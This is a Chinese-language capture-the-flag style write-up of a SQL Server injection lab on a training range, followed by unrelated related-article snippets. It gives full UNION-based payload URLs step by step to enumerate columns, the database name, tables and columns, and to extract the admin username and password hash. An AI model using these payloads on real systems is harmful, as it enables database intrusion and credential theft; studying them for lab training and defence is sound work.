1、sql server数据库进行sql注入

news2024/9/23 5:35:05
靶机取自:墨者sql server
1、判断数据库类型

抓包知sql server,所以注入语句跟MySQL有些区别

2、判断注入点

“http://219.153.49.228:42514/new_list.asp?id=2 ”,当id=2 and 1=1时显示正确,id=2 and 1=2时页面报错。

3、确定列数为 4
  • /new_list.asp?id=2 ORDER BY 1 成功
  • /new_list.asp?id=2 ORDER BY 2 成功
  • /new_list.asp?id=2 ORDER BY 3 失败
  • /new_list.asp?id=2 ORDER BY 4 成功
  • /new_list.asp?id=2 ORDER BY 5 失败
  • /new_list.asp?id=2 ORDER BY 6 失败
  • /new_list.asp?id=2 ORDER BY 7 失败

根据这些信息,ORDER BY 4 成功,而 ORDER BY 3 失败,这看起来很矛盾,因为一般来说,如果 ORDER BY 3 失败,ORDER BY 4 应该也会失败。

分析原因:

  1. SQL查询结构: 可能你查询的SQL语句涉及了多个表连接或者子查询,这会导致某些列存在而其他列不存在的情况。

  2. 自定义排序: 数据库的查询中可能存在自定义排序逻辑,某些列可能只在特定条件下可用。

***所以sql测试中,我们需要进行更多测试以确认列数

4、判断回显字段

这其实还要分两种情况:

1、回显的字段是字符型,还是整数型或其他

  1. 数据类型匹配

    • 数据库表中的列有特定的数据类型(如整数、字符串、日期等)。当注入的值与列的数据类型不匹配时,会导致SQL语法错误或类型错误。
    • 例如,如果某列期望一个字符串类型的数据,而你传入一个整数,数据库可能会报错。
  2. SQL查询构造

    • SQL注入构造的查询语句需要与数据库表的结构和列类型匹配。
    • 使用单引号包裹的值通常被解释为字符串类型,而不使用引号的值通常被解释为数字或列名。

2、注入成功是要在页面正常显示情况下回显字段,还是页面报错情况下才会回显字段

  • 正常页面:当提供的 id 值有效时,原始查询会返回一个正常的结果集,页面会显示该结果。如果 UNION ALL SELECT 注入成功,并且注入的列恰好在显示内容中,那么注入的结果可能会被id值结果覆盖。
  • 错误页面:当提供的 id 值无效时,原始查询失败,页面可能显示错误信息或没有结果。在这种情况下,注入的 UNION ALL SELECT 可能成为唯一的结果集,因此被显示出来。

思路

①先假设为全部字段为字符型,payload:http://219.153.49.228:46552/new_list.asp?id=2 union all select '1', '2', '3', '4' 。发现并没有回显

②id=-2时,页面报错,所以payload:http://219.153.49.228:46552/new_list.asp?id=-2 union all select '1', '2', '3', '4'。回显2、3字段

到这已经可以判断出2、3字段是字符型,并且页面有报错信息时才有回显,否则被内容覆盖

然后判断1、4字段类型,需要一个一个去除单引号,判断其回显情况

5、获取数据库信息

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,user,db_name(),4

6、获取数据表名manage

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='U'),'3',4

7、获取列名:id、name

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select top 1 col_name(object_id('manage'),1) from sysobjects),(select top 1 col_name(object_id('manage'),2) from sysobjects),4

以此类推,获取第3个字段,第4个字段

8、查出用户名和密码

用户名:admin_mz、加密密码:72e1bfc3f01b7583

http://219.153.49.228:43696/new_list.asp?id=-2 union all select 1,(select username from manage),(select password from manage),4

9、md5解密

9、总结

1、判断数据类型是很重要的一点,影响后面的注入语句

2、确定列数时,要多测几组数据,从而分析判断列数,并不是遇到第一个报错就停止测试

3、正常网页(例如id=1,参数正确)没有注入回显时,试试报错情况(id=-1),注入回显有可能被正常返回数据覆盖

4、注入回显的字段有可能整形、字符、小数等,注意是否需要单引号

5、最好先全部统一会先字段类型,比如全部整形,挨个轮流改变为字符形

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1679601.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Vue.js的发展史(一)

Vue.js的发展史(一) 什么是Vue? Vue (发音为 /vjuː/,类似 view) 是一款用于构建用户界面的 JavaScript 框架。它基于标准 HTML、CSS 和 JavaScript 构建,并提供了一套声明式的、组件化的编程模型,帮助你高效地开发…

云服务器和物理机该怎样分别呢

随着网络的不断发展,服务器的类型也在以不同的方式更新。现在云服务器的兴起占据了很大一部分市场,物理机的市场份额受到了很大的冲击。物理机和云服务器有什么区别?如何选择适合自己需求的?虽然物理服务器和云服务器都是服务器&a…

Python进度条工具——tqdm

原文链接:http://www.juzicode.com/python-note-tqdm 在安装Python库文件的时候我们经常可以看到这种进度条: 其实Python库中就自带了现成的工具库——tqdm。 tqdm读起来比较拗口,它是从“进程”的阿拉伯语taqaddum简化而来。 安装tqdm 使用…

有关登录安全,测试人该知道些什么?

作为测试,给我们一个关键词“登录”,我们可能想到的用例设计更多的是什么用户名、密码校验是否合法、是否为空、是否正确等等之类的场景。 但在如今信息化的时代,“登录安全”已经是一个很热门且普遍的的话题了,今天给大家简单分…

uniapp小程序控制页面元素滚动指定距离

要实现页面元素滚动,最好还是使用 scroll-view 来实现,官方文档地址:scroll-view | uni-app官网 通过设置scroll事件来实现滚动监听,当滚动的元素的时候,就会触发这个事件,并且事件里面包含有滚动距离&…

哈希表的理解和实现

目录 1. 哈希的概念 (是什么) 2. 实现哈希的两种方式 (哈希函数) 2.1. 直接定址法 2.2. 除留余数法 2.2.1. 哈希冲突 3. 补充知识 3.1. 负载因子 3.2. 线性探测和二次探测 4. 闭散列实现哈希表 (开放定址法) 4.1. 开放定址法的实现框架 4.2. Xq::hash_table::insert…

实时美颜技术揭秘:直播美颜SDK的架构与优化

当下,美颜技术成为直播平台吸引用户和提升用户体验的重要手段。本文将揭秘实时美颜技术,详细介绍直播美颜SDK的架构,并探讨其优化方法。 一、实时美颜技术概述 1、发展历程 随着图像处理算法的进步,逐渐发展到实时视频处理领域…

醉了,面个功能测试,还问我Python装饰器

Python 装饰器是个强大的工具,可帮你生成整洁、可重用和可维护的代码。某种意义上说,会不会用装饰器是区分新手和老鸟的重要标志。如果你不熟悉装饰器,你可以将它们视为将函数作为输入并在不改变其主要用途的情况下扩展其功能的函数。装饰器可…

走进开源,拥抱开源

走进开源,拥抱开源 一、开源文化1.1 什么是开源1.2 为什么要开源1.3 有哪些开源协议 二、选择开源2.1 开源社区的类型与特点2.2 如何选择开源社区2.3 如何选择开源项目 三、参与开源3.1 开源社区的参与方式3.2 开源项目的参与方式 四、Apache Doris 参与示例4.1 Dor…

随笔:棋友们

我是在小学二年级学会中国象棋的,准确说,是学会象棋的下棋规则的,师傅是二舅。我最早的对手就是同学波仔。波仔比我略早学会象棋,总用连珠炮欺负我,开局几步棋就把我将死。我不知道怎么破解。轮到我先走时,…

降Compose十八掌之『亢龙有悔』

公众号「稀有猿诉」 原文链接 降Compose十八掌之『亢龙有悔』 Jetpack Compose是新一代的声明式的UI开发框架,由Google在2019年推出,最初是作为Android的新式UI开发框架,但它本质是一个声明式UI开发框架,并不受制于底层的平…

机器人非线性系统反馈线性化与解耦

机器人非线性系统的反馈线性化和解耦是控制理论中的两个重要概念,它们分别用于简化系统分析和设计过程,提高控制系统的性能。 首先,反馈线性化是一种将非线性系统转化为线性系统的技术。在机器人控制中,由于机器人本身是一个强耦…

每日一日 kotori和气球

kotori和气球 (nowcoder.com) 题目描述,就是只要相邻的气球不相同即可, 解题思路 使用高中的排列组合:第一个位置 可以填n种情况 其次后推不可与前一个相同所以可以 填n -1中情况,结果相乘即可 可以使用bigInteger实现 或者说…

[Kubernetes] kube-proxy 详解

文章目录 1.kube-proxy概述2.userspace模式3.iptables模式4.ipvs模式 1.kube-proxy概述 kube-proxy组件是用来实现service的请求转发,具体实现方式是kube-proxy运行在每个node上,通过watch监听API Server 中service资源的create,update&…

Spring 各版本发布时间与区别

版本版本特性Spring Framework 1.01. 所有代码都在一个项目中 2. 支持核心功能IoC、AOP 3. 内置支持Hibernate、iBatis等第三方框架 4. 对第三方技术简单封装。如:JDBC、Mail、事务等 5. 只支持XML配置方式。6.主要通过 XML 配置文件来管理对象和依赖关系&#xff0…

【2024华为HCIP831 | 高级网络工程师之路】刷题日记(18)

个人名片:🪪 🐼作者简介:一名大三在校生,喜欢AI编程🎋 🐻‍❄️个人主页🥇:落798. 🐼个人WeChat:hmmwx53 🕊️系列专栏:&a…

Kubernetes进阶对象Deployment、DaemonSet、Service

Deployment Pod 在 YAML 里使用“containers”就可以任意编排容器,而且还有一个“restartPolicy”字段,默认值就是 Always,可以监控 Pod 里容器的状态,一旦发生异常,就会自动重启容器。 不过,“restartPo…

达梦(DM) SQL数据及字符串操作

达梦DM SQL数据及字符串操作 数据操作字符串操作 这里继续讲解DM数据库的操作,主要涉及插入、更新、删除操作。 数据操作 插入数据,不指定具体列的话就需要插入除自增列外的其他列,当然自增列也可以直接指定插入 INSERT INTO SYS_USER VALU…

2024最新Kali Linux安装教程(非常详细)从零基础入门到精通(附安装包)!

什么是Kali Linux? Kali Linux是一个高级渗透测试和安全审计Linux发行版,其功能非常强大,能够进行信息取证、渗透测试、攻击WPA / WPA2保护的无线网络、离线破解哈希密码、将android、Java、C编写的程序反编译成代码等等,是黑客的…